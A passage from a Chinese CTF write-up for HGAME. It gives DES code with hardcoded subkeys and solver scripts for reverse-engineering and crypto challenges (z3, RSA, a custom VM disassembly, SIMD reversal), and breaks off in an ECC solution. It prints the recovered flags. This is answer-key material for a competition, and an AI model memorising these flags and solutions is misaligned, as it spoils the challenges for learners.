printf(\u0026#34;\\n\u0026#34;); system(\u0026#34;pause\u0026#34;); } void BitsCopy(bool *DatOut,bool *DatIn,int Len) { for(int i=0; i \u0026lt; Len; i++) { DatOut[i] = DatIn[i]; } } void ByteToBit(bool *DatOut,char *DatIn,int Num) { for(int i = 0; i \u0026lt; Num; i++) { DatOut[i] = (DatIn[i / 8] \u0026gt;\u0026gt; (i % 8)) \u0026amp; 0x01; } } void BitToByte(char *DatOut,bool *DatIn,int Num) { for(int i = 0; i \u0026lt; (Num / 8); i++) { DatOut[i] = 0; } for(int i = 0; i \u0026lt; Num; i++) { DatOut[i / 8] |= DatIn[i] \u0026lt;\u0026lt; (i % 8); } } void BitToHex(char *DatOut,bool *DatIn,int Num) { int i; for(i = 0; i \u0026lt; Num / 4; i++) { DatOut[i] = 0; } for(i = 0; i \u0026lt; Num / 4; i++) { DatOut[i] = DatIn[i * 4] + (DatIn[i * 4 + 1] \u0026lt;\u0026lt; 1) + (DatIn[i * 4 + 2] \u0026lt;\u0026lt; 2) + (DatIn[i * 4 + 3] \u0026lt;\u0026lt; 3); if((DatOut[i] % 16) \u0026gt; 9) { DatOut[i] = DatOut[i] % 16 + \u0026#39;7\u0026#39;; } else { DatOut[i] = DatOut[i] % 16 + \u0026#39;0\u0026#39;; } } } void HexToBit(bool *DatOut,char *DatIn,int Num) { for(int i = 0; i \u0026lt; Num; i++) { if((DatIn[i / 4]) \u0026gt; \u0026#39;9\u0026#39;) { DatOut[i] = ((DatIn[i / 4] - \u0026#39;7\u0026#39;) \u0026gt;\u0026gt; (i % 4)) \u0026amp; 0x01; } else { DatOut[i] = ((DatIn[i / 4] - \u0026#39;0\u0026#39;) \u0026gt;\u0026gt; (i % 4)) \u0026amp; 0x01; } } } void TablePermute(bool *DatOut,bool *DatIn,const char *Table,int Num) { static bool Temp[256] = {0}; for(int i = 0; i \u0026lt; Num; i++) { Temp[i] = DatIn[Table[i] - 1]; } BitsCopy(DatOut, Temp, Num); } void LoopMove(bool *DatIn,int Len,int Num) { static bool Temp[256]={0}; BitsCopy(Temp,DatIn,Num); BitsCopy(DatIn,DatIn+Num,Len-Num); BitsCopy(DatIn+Len-Num,Temp,Num); } void Xor(bool *DatA,bool *DatB,int Num) { for(int i = 0; i \u0026lt; Num; i++) { DatA[i] = DatA[i] ^ DatB[i]; } } void S_Change(bool DatOut[32],bool DatIn[48]) { int i,X,Y; for(i = 0, Y = 0, X = 0; i \u0026lt; 8; i++, DatIn += 6, DatOut += 4) { Y=(DatIn[0] \u0026lt;\u0026lt; 1) + DatIn[5]; X=(DatIn[1] \u0026lt;\u0026lt; 3) + (DatIn[2] \u0026lt;\u0026lt; 2) + (DatIn[3] \u0026lt;\u0026lt; 1) + DatIn[4]; int v9 = S_Box[i][Y][X]; for(int j = 3; j \u0026gt;= 0; j--) { DatOut[j] = v9 % 2; v9 /= 2; } } } void F_Change(bool DatIn[32],bool DatKi[48]) { static bool MiR[48]={0}; TablePermute(MiR,DatIn,E_Table,48); Xor(MiR,DatKi,48); S_Change(DatIn,MiR); TablePermute(DatIn,DatIn,P_Table,32); } void SetKey(char KeyIn[8]) { static bool KeyBit[64] = {0}; static bool *KiL = \u0026amp;KeyBit[0], *KiR = \u0026amp;KeyBit[28]; ByteToBit(KeyBit, KeyIn, 64); TablePermute(KeyBit, KeyBit, PC1_Table, 56); for(int i = 0; i \u0026lt; 16; i++) { LoopMove(KiL, 28, Move_Table[i]); LoopMove(KiR, 28, Move_Table[i]); TablePermute(SubKey[i], KeyBit, PC2_Table, 48); } } void PlayDes(char MesOut[8],char MesIn[8]) { int i; static bool MesBit[64] = {0}; static bool Temp[32] = {0}; static bool *MiL = \u0026amp;MesBit[0], *MiR = \u0026amp;MesBit[32]; ByteToBit(MesBit, MesIn, 64); TablePermute(MesBit, MesBit, IP_Table, 64); for (i = 0; i \u0026lt; 64; i++) { printf(\u0026#34;%d \u0026#34;, MesBit[i]); } printf(\u0026#34;\\n\u0026#34;); for(i = 0; i \u0026lt; 16; i++) { BitsCopy(Temp, MiR, 32); F_Change(MiR, SubKey[i]); Xor(MiR, MiL, 32); BitsCopy(MiL, Temp, 32); for (int j = 0; j \u0026lt; 64; j++){ printf(\u0026#34;%d \u0026#34;, MesBit[j]); } printf(\u0026#34;\\n\u0026#34;); } for(i = 0; i \u0026lt; 32; i++) { int tmp = MesBit[i]; MesBit[i] = MesBit[i + 32]; MesBit[i + 32] = tmp; } TablePermute(MesBit, MesBit, IPR_Table, 64); for (i = 0; i \u0026lt; 64; i++){ printf(\u0026#34;%d \u0026#34;, MesBit[i]); } BitToHex(MesOut,MesBit,64); } void KickDes(char MesOut[8],char MesIn[8]) { int i; static bool MesBit[64] = {0}; static bool Temp[32] = {0}; static bool *MiL = \u0026amp;MesBit[0], *MiR = \u0026amp;MesBit[32]; HexToBit(MesBit, MesIn, 64); TablePermute(MesBit, MesBit, IP_Table, 64); for (i = 0; i \u0026lt; 32; i++) { int tmp = MesBit[i]; MesBit[i] = MesBit[i + 32]; MesBit[i + 32] = tmp; } for(i = 15; i \u0026gt;= 0; i--) { BitsCopy(Temp, MiL, 32); F_Change(MiL, SubKey[i]); Xor(MiL, MiR, 32); BitsCopy(MiR, Temp, 32); } TablePermute(MesBit, MesBit, IPR_Table, 64); for (i = 0; i \u0026lt; 64; i++){ printf(\u0026#34;%d \u0026#34;, MesBit[i]); } BitToByte(MesOut, MesBit, 64); } bool.h，我的评价是不如直接上 c++\n#ifndef __BOOL_H__ #define __BOOL_H__ typedef enum { false = 0, true = 1 } bool; #endif tables.h，之前找到的文件有几处与题目中不同，不知道是作者写错了还是题目改数了，直接把算好的 subkey 填到这里，就不用再输入密钥算了\n#ifndef _TABLES_H_ #define _TABLES_H_ const char IP_Table[64]={ 58,50,42,34,26,18,10, 2,60,52,44,36,28,20,12, 4, 62,54,46,38,30,22,14, 6,64,56,48,40,32,24,16, 8, 57,49,41,33,25,17, 9, 1,59,51,43,35,27,19,11, 3, 61,53,45,37,29,21,13, 5,63,55,47,39,31,23,15, 7 }; const char IPR_Table[64]={ 40, 8,48,16,56,24,64,32,39, 7,47,15,55,23,63,31, 38, 6,46,14,54,22,62,30,37, 5,45,13,53,21,61,29, 36, 4,44,12,52,20,60,28,35, 3,43,11,51,19,59,27, 34, 2,42,10,50,18,58,26,33, 1,41, 9,49,17,57,25\t}; static char E_Table[48]={ 32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9,10,11,12,13,12,13,14,15,16,17, 16,17,18,19,20,21,20,21,22,23,24,25, 24,25,26,27,28,29,28,29,30,31,32, 1 }; static char PC1_Table[56]={ 57,49,41,33,25,17, 9, 1,58,50,42,34,26,18, 10, 2,59,51,43,35,27,19,11, 3,60,52,44,36, 63,55,47,39,31,23,15, 7,62,54,46,38,30,22, 14, 6,61,53,45,37,29,21,13, 5,28,20,12, 4 }; static char Move_Table[16]={ 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 }; static char PC2_Table[48]={ 14,17,11,24, 1, 5, 3,28,15, 6,21,10, 23,19,12, 4,26, 8,16, 7,27,20,13, 2, 41,52,31,37,47,55,30,40,51,45,33,48, 44,49,39,56,34,53,46,42,50,36,29,32\t}; static char S_Box[8][4][16]={ //S1 14, 4,13, 1, 2,15,11, 8, 3,10, 6,12, 5, 9, 0, 7, 0,15, 7, 4,14, 2,13, 1,10, 6,12,11, 9, 5, 3, 8, 4, 1,14, 8,13, 6, 2,11,15,12, 9, 7, 3,10, 5, 0, 15,12, 8, 2, 4, 9, 1, 7, 5,11, 3,14,10, 0, 6,13, //S2 15, 1, 8,14, 6,11, 3, 4, 9, 7, 2,13,12, 0, 5,10, 3,13, 4, 7,15, 2, 8,14,12, 0, 1,10, 6, 9,11, 5, 0,14, 7,11,10, 4,13, 1, 5, 8,12, 6, 9, 3, 2,15, 13, 8,10, 1, 3,15, 4, 2,11, 6, 7,12, 0, 5,14, 9, //S3 10, 0, 9,14, 6, 3,15, 5, 1,13,12, 7,11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6,10, 2, 8, 5,14,12,11,15, 1, 13, 6, 4, 9, 8,15, 3, 0,11, 1, 2,12, 5,10,14, 7, 1,10,13, 0, 6, 9, 8, 7, 4,15,14, 3,11, 5, 2,12, //S4 7,13,14, 3, 0, 6, 9,10, 1, 2, 8, 5,11,12, 4,15, 13, 8,11, 5, 6,15, 0, 3, 4, 7, 2,12, 1,10,14, 9, 10, 6, 9, 0,12,11, 7,13,15, 1, 3,14, 5, 2, 8, 4, 3,15, 0, 6,10, 1,13, 8, 9, 4, 5,11,12, 7, 2,14, //S5 2,12, 4, 1, 7,10,11, 6, 8, 5, 3,15,13, 0,14, 9, 14,11, 2,12, 4, 7,13, 1, 5, 0,15,10, 3, 9, 8, 6, 4, 2, 1,11,10,13, 7, 8,15, 9,12, 5, 6, 3, 0,14, 11, 8,12, 7, 1,14, 2,13, 6,15, 0, 9,10, 4, 5, 3, //S6 12, 1,10,15, 9, 2, 6, 8, 0,13, 3, 4,14, 7, 5,11, 10,15, 4, 2, 7,12, 9, 5, 6, 1,13,14, 0,11, 3, 8, 9,14,15, 5, 2, 8,12, 3, 7, 0, 4,10, 1,13,11, 6, 4, 3, 2,12, 9, 5,15,10,11,14, 1, 7, 6, 0, 8,13, //S7 4,11, 2,14,15, 0, 8,13, 3,12, 9, 7, 5,10, 6, 1, 13, 0,11, 7, 4, 9, 1,10,14, 3, 5,12, 2,15, 8, 6, 1, 4,11,13,12, 3, 7,14,10,15, 6, 8, 0, 5, 9, 2, 6,11,13, 8, 1, 4,10, 7, 9, 5, 0,15,14, 2, 3,12, //S8 13, 2, 8, 4, 6,15,11, 1,10, 9, 3,14, 5, 0,12, 7, 1,15,13, 8,10, 3, 7, 4,12, 5, 6,11, 0,14, 9, 2, 7,11, 4, 1, 9,12,14, 2, 0, 6,10,13,15, 3, 5, 8, 2, 1,14, 7, 4,10, 8,13,15,12, 9, 0, 3, 5, 6,11 }; static char P_Table[32]={ 16, 7,20,21,29,12,28,17, 1,15,23,26, 5,18,31,10, 2, 8,24,14,32,27, 3, 9,19,13,30, 6,22,11, 4,25 }; static bool SubKey[16][48]={ 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0 }; #endif [RE]server By s0uthwood\n下断点，浏览器输入 localhost:9090?flag=hgame{} 就能断住，然后就是慢慢调试了\nrsa 部分用的 math/big 库中的东西，还是比较容易识别的（go 还是看汇编舒服）\n随后就是两个循环的异或了，这里用 z3 解的，所以逻辑直接看代码就行\nfrom libnum import * from z3 import * flag = [BitVec(\u0026#39;f%i\u0026#39; % i, 8) for i in range(153)] s = Solver() c = 0x66 flag2 = [] for i in range(153): v16 = flag[i] flag2.append(v16 ^ c) c = v16 for i in range(153): v18 = flag2[i] flag2[i] = v18 ^ c c = v18 cipher = [ 99, 85, 4, 3, 5, 5, 5, 3, 7, 7, 2, 8, 8, 11, 1, 2, 10, 4, 2, 13, 8, 9, 12, 9, 4, 13, 8, 0, 14, 0, 15, 13, 14, 10, 2, 2, 1, 7, 3, 5, 6, 4, 6, 7, 6, 2, 2, 5, 3, 3, 9, 6, 0, 11, 13, 11, 0, 2, 3, 8, 3, 11, 7, 1, 11, 5, 14, 5, 0, 10, 14, 15, 13, 7, 13, 7, 14, 1, 15, 1, 11, 5, 6, 2, 12, 6, 10, 4, 1, 7, 4, 2, 6, 3, 6, 12, 5, 12, 3, 12, 6, 0, 4, 15, 2, 14, 7, 0, 14, 14, 12, 4, 3, 4, 2, 0, 0, 2, 6, 2, 3, 6, 4, 4, 4, 7, 1, 2, 3, 9, 2, 12, 8, 1, 12, 3, 12, 2, 0, 3, 14, 3, 14, 12, 9, 1, 7, 15, 5, 7, 2, 2, 4 ] for i in range(153): s.add(flag2[i] == cipher[i]) for i in range(153): s.add(flag[i] \u0026gt;= ord(\u0026#39;0\u0026#39;)) s.add(flag[i] \u0026lt;= ord(\u0026#39;9\u0026#39;)) s.check() m = s.model() for i in flag: print (chr(m[i].as_long()), end=\u0026#39;\u0026#39;) # 135005562109829034199059149474896341566307600227148289525068532297727897409776873250963225670468340868270979975367474527115512003915945795967599087720024 M = 92582184765240663364795767694262273105045150785272129481762171937885924776597 N = 107310528658039985708896636559112400334262005367649176746429531274300859498993 t = M * N e = 950501 phi = (M - 1) * (N - 1) n2s(pow(135005562109829034199059149474896341566307600227148289525068532297727897409776873250963225670468340868270979975367474527115512003915945795967599087720024, invmod(e, phi), t)) # b\u0026#39;hgame{g0_and_g0_http_5erv3r_nb}\u0026#39; [RE]ezvm By s0uthwood\n把几个指令整理一下\n能够看出特定用途的几个寄存器：\n[8]: ZF 相等为 0，大于为 1，小于为 -1 [9]: stack [9 + 100]: code [9 + 200]: data\n其他的应该都是 rax 之类的\n总结的几个指令：\nop disasm 0 mov r3, r2 1 inc r2 2 dec r2 3 xor r3, r7 4 push r3 5 push r5 6 push r6 7 pop r3 8 pop r5 9 pop r6 10 pop r2 11 pop r7 12 jz $+1+r6 13 jnz $+1+r6 14 jmp $+1+r2 15 cmp r3, r5 16 getchar(r3) 17 putchar(r3) 18 push *((r4++)+0xD1) 19 mov r3, [rbp+r2] 20 mov [rbp+r2], r3 21 add r3, r3 接下来就是反汇编了\ncode = [ 0x12, 8, 0x12, 9, 0x10, 4, 1, 0x0F, 0x0D, 2, 0x12, 8, 0x12, 9, 0, 4, 0x0F, 0x0D, 0x12, 9, 0x12, 0x0A, 0x13, 0x12, 0x0B, 0x15, 3, 0x14, 1, 0, 0x0F, 0x0D, 0x12, 0x0A, 0x12, 0x12, 0x12, 8, 0x13, 0x0F, 7, 4, 9, 0x0D, 9, 8, 5, 6, 4, 1, 0, 0x0F, 0x0D, 0x12, 9, 0x12, 8, 0x12, 0x0A, 0x12, 7, 0x0F, 0x0C, 0x11, 0x0E ] def disasm(i, c): if c == 0: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;mov [3], [2]\u0026#34;) elif c == 1: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;inc [2]\u0026#34;) elif c == 2: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;dec [2]\u0026#34;) elif c == 3: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;xor [3], [7]\u0026#34;) elif c == 4: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;push [3]\u0026#34;) elif c == 5: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;push [5]\u0026#34;) elif c == 6: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;push [6]\u0026#34;) elif c == 7: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;pop [3]\u0026#34;) elif c == 8: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;pop [5]\u0026#34;) elif c == 9: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;pop [6]\u0026#34;) elif c == 10: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;pop [2]\u0026#34;) elif c == 11: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;pop [7]\u0026#34;) elif c == 12: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;jz $+1+[6]\u0026#34;) elif c == 13: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;jnz $+1+[6]\u0026#34;) elif c == 14: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;jmp $+1+[2]\u0026#34;) elif c == 15: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;cmp [3], [5]\u0026#34;) elif c == 16: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;getchar([3])\u0026#34;) elif c == 17: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;putchar([3])\u0026#34;) elif c == 18: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;push *(([4]++)+0xD1)\u0026#34;) elif c == 19: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;mov [3], [rbp+[2]]\u0026#34;) elif c == 20: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;mov [rbp+[2]], [3]\u0026#34;) elif c == 21: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;add [3], [3]\u0026#34;) 也许跟着 log 一起看比较好，这里就直接对着 data 里的数据看了\n_00: push 0x0A _01: pop [5] _02: push -5 _03: pop [6] _04: getchar([3]) _05: push [3] _06: inc [2] _07: cmp [3], [5] _08: jnz $+1+[6] _09: dec [2] 这个 jnz 的循环是 getchar() 直到读取到 \\n\n接下来是个对长度做了限制\n_0A: push 0x20 _0B: pop [5] _0C: push 0x2F _0D: pop [6] _0E: mov [3], [2] _0F: push [3] _10: cmp [3], [5] _11: jnz $+1+[6] 这里先 add 自身，然后依次异或 data 中的数据（第一个是 0x5e）\n_12: push -10 _13: pop [6] _14: push 0 _15: pop [2] _16: mov [3], [rbp+[2]] _17: push 0x5e (next_mem) _18: pop [7] _19: add [3], [3] _1A: xor [3], [7] _1B: mov [rbp+[2]], [3] _1C: inc [2] _1D: mov [3], [2] _1E: cmp [3], [5] _1F: jnz $+1+[6] 后面就是比较了，如果不相等就会直接从第一个 jnz 直接退出，否则会判断长度来看是否退出循环\n_20: push *(([4]++)+0xD1) ; 0 _21: pop [2] _22: push *(([4]++)+0xD1) ; -17 _23: push *(([4]++)+0xD1) ; 21 _24: push *(([4]++)+0xD1) ; 142 _25: pop [5] ; [5] = 142 _26: mov [3], [rbp+[2]] ; [3]=142 _27: cmp [3], [5] ; 0 _28: pop [3] _29: push [3] _2A: pop [6] ; 21 _2B: jnz $+1+[6] _2C: pop [6] ; -17 _2D: pop [5] _2E: push [5] _2F: push [6] _30: push [3] _31: inc [2] _32: mov [3], [2] _33: cmp [3], [5] _34: jnz $+1+[6] 最后一段没有看了，putchar() 显然是输出正确信息\n脚本\nfrom operator import xor xor_list = [0x5E, 0x46, 0x61, 0x43, 0x0E, 0x53, 0x49, 0x1F, 0x51, 0x5E, 0x36, 0x37, 0x29, 0x41, 0x63, 0x3B, 0x64, 0x3B, 0x15, 0x18, 0x5B, 0x3E, 0x22, 0x50, 0x46, 0x5E, 0x35, 0x4E, 0x43, 0x23, 0x60, 0x3B] cipher = [0x8E, 0x88, 0x0A3, 0x99, 0x0C4, 0x0A5, 0x0C3, 0x0DD, 0x19, 0x0EC, 0x6C, 0x9B, 0x0F3, 0x1B, 0x8B, 0x5B, 0x3E, 0x9B, 0x0F1, 0x86, 0x0F3, 0x0F4, 0x0A4, 0x0F8, 0x0F8, 0x98, 0x0AB, 0x86, 0x89, 0x61, 0x22, 0xC1] for x, c in zip(xor_list, cipher): print (chr((c ^ x) // 2), end=\u0026#39;\u0026#39;) # hgame{Ea$Y-Vm-t0-PrOTeCT_cOde!!} [RE]hardasm By s0uthwood\n全是 simd，反着执行回去就行，或者可以试试正着用 z3 解\n这个脚本因为有些指令的某一个参数是不变的（比如 vpermd ymmX, ymm7, ymmX），所以偷懒了\nasm = \u0026#39;\u0026#39;\u0026#39;\\ vpermd ymm4, ymm7, ymm4 ... vpermd ymm1, ymm7, ymm1\u0026#39;\u0026#39;\u0026#39; ymm0 = b\u0026#39;\\x93\\xcb\\xe7\\x93\\xa9\\x81\\r\\xb6\\xd8\\xdd\\x9c\\x7f\\xc0M\\xcd\\xf0\\x00\\xa0\\x9f\u0026#34;\\x89\\xefT]\\xef\\x00\\x8d\\xfe^L\\xd0\\xec\u0026#39; ymm1 = b\u0026#39;i\\xcf\\x8e\\xb3\\xf8\\x98\\x90\\x0b\\\\\u0026amp;}\\xcf\\x8c$\\x1d\\x96s\\x8b\\xc7\\xaa\\xfc\\xaf\\xfd\\x91F3e\\xb8#z\\xcd\\xa5\u0026#39; ymm2 = b\u0026#34;\\xff\\x83\\xf3\\xdf\\xec\\x00\\x8e\\x92OL\\x97O\u0026#39;D\\x7f\\xa4\\xe3N\\xbf$d\\xdd*T\\xc3i\\xb2\\x82q\\xa0\\x1b\\xf5\u0026#34; ymm3 = b\u0026#39;\\xb4\\xc7lj\\xfb\\x1fp\\xf5}\\xc9\\r\\x1b\\xb4\\xe5\\xffEN^\\x95]\\xef\\x8e@\\x8d\\x9a\\xf9\\xd1\\x92\\x8b\\xbf}\\xbb\u0026#39; ymm4 = b\u0026#39;\\xca}6\\xf7\\xc5\\xcb\\x90\\xb9B\\x96\\xe0\\xa55sL\\xf7\\xa9\\x9d\\x87\\xa1\\xc2r\\x8b\\xe8\\x9af\\t*\\xe6%\\x04\\xd1\u0026#39; ymm5 = b\u0026#39;)\\x9d\\x0bGy\\x1a\\xa4\\x97\\x02\\xbf\\x13\\x9e\\xa0\\xd2\\xa4m?_=M4\\xea\\xeeRa\\x97e\\xb4\\x04\\x91\\xd8W\u0026#39; ymm6 = b\u0026#39;\\x00\\x01\\x08\\t\\n\\x02\\x03\\x04\\x05\\x0c\\r\\x0e\\x06\\x07\\x0b\\x0f\\x00\\x06\\x07\\x08\\t\\n\\x02\\x03\\x04\\x05\\r\\x0e\\x0b\\x0c\\x01\\x0f\u0026#39; ymm7 = b\u0026#39;\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x07\\x00\\x00\\x00\u0026#39; def rev_vpermd(x, y): \u0026#34;\u0026#34;\u0026#34; origin: from: b\u0026#34;3_bh\u0026#34; b\u0026#34;\\rd\\xa8\\xff\\x8f\\x99\\xa7\\x94\\x9e\\x9a)4\u0026#34; b\u0026#34;\u0026#39;6\\xd6\\x82\\xc2m\\xe8\\xaa\u0026#34; b\u0026#34;\\x96Je\\xc0\\x0c7\\x19\\xc9\u0026#34; to : b\u0026#34;3_bh\u0026#34; b\u0026#34;\u0026#39;6\\xd6\\x82\\xc2m\\xe8\\xaa\u0026#34; b\u0026#34;\\rd\\xa8\\xff\\x8f\\x99\\xa7\\x94\\x9e\\x9a)4\u0026#34; b\u0026#34;\\x96Je\\xc0\\x0c7\\x19\\xc9\u0026#34; \u0026#34;\u0026#34;\u0026#34; return y[:4] + y[12:24] + y[4:12] + y[24:] def rev_vpxor(x, y): return bytes([a ^ b for a, b in zip(x, y)]) def rev_vpaddb(x, y): return bytes([(a - b) \u0026amp; 0xff for a, b in zip(x, y)]) def rev_vpsubb(x, y): return bytes([(a + b) \u0026amp; 0xff for a, b in zip(x, y)]) def rev_vpshufb(x, y): \u0026#34;\u0026#34;\u0026#34; origin: from: b\u0026#39;\\x89\\xa1\u0026#39; b\u0026#39;\u0026gt;\\xc0\\xe5\\x14\u0026#39; \u0026#39;_\\xc5\u0026#39; \u0026#39;_\\x14\\xb0\u0026#39; \u0026#39;\\xd0\u0026#39; \u0026#39;%\\x1f\\xe8\u0026#39; \u0026#39;\\xf5\\xb0\u0026#39; \u0026#39;4\u0026#39; \u0026#39;6\\xc2\\xc7\\xa0\u0026#39; \u0026#39;\\xb2\u0026lt;^~\\x9c\u0026#39; \u0026#39;\\xa4\\x98\u0026#39; \u0026#39;\\xe8T\u0026#39; \u0026#39;\\x0b\u0026#39; to : b\u0026#39;\\x89\\xa1\u0026#39; b\u0026#39;_\\x14\\xb0\u0026#39; \u0026#39;\u0026gt;\\xc0\\xe5\\x14\u0026#39; \u0026#39;%\\x1f\\xe8\u0026#39; \u0026#39;_\\xc5\u0026#39; \u0026#39;\\xd0\u0026#39; \u0026#39;\\xf5\\xb0\u0026#39; \u0026#39;\\xb2\u0026lt;^~\\x9c\u0026#39; \u0026#39;6\\xc2\\xc7\\xa0\u0026#39; \u0026#39;\\xe8T\u0026#39; \u0026#39;\\xa4\\x98\u0026#39; \u0026#39;4\u0026#39; \u0026#39;\\x0b\u0026#39; \u0026#34;\u0026#34;\u0026#34; return x[:2] + x[5:9] + x[12:14] + x[2:5] + x[14:15] + x[9:12] + x[15:17]+ x[30:31] + x[22:26] + x[17:22] + x[28:30] + x[26:28] + x[31:] for a in asm.split(\u0026#39;\\n\u0026#39;)[::-1]: b = a.replace(\u0026#39;,\u0026#39;, \u0026#39;\u0026#39;).split() exec(f\u0026#39;{b[1]} = rev_{b[0]}({b[2]}, {b[3]})\u0026#39;) print (ymm0) ida 动调的时候要知道寄存器的值，可以用 idapython 的 get_reg_value(\u0026quot;ymm0\u0026quot;) 指令不知道什么意思的话动调看一下变化就行\n[Crypto]ECC By NULLPointer\n传统的椭圆曲线加密，利用 sage 工具求解即可。\np = 74997021559434065975272431626618720725838473091721936616560359000648651891507 a = 61739043730332859978236469007948666997510544212362386629062032094925353519657 b = 87821782818477817609882526316479721490919815013668096771992360002467657827319 k = 93653874272176107584459982058527081604083871182797816204772644509623271061231 E = EllipticCurve(GF(p), [a, b]) #建立椭圆曲线E c1 = E(14455613666211899576018835165132438102011988264607146511938249744871964946084, 25506582570581289714612640493258299813803157561796247330693768146763035791942) c2 = E(37554871162619456709183509122673929636457622251880199235054734523782483869931, 71392055540616736539267960989304287083629288530398474590782366384873814477806) m = c1 - k * c2 # \u0026#34;m = 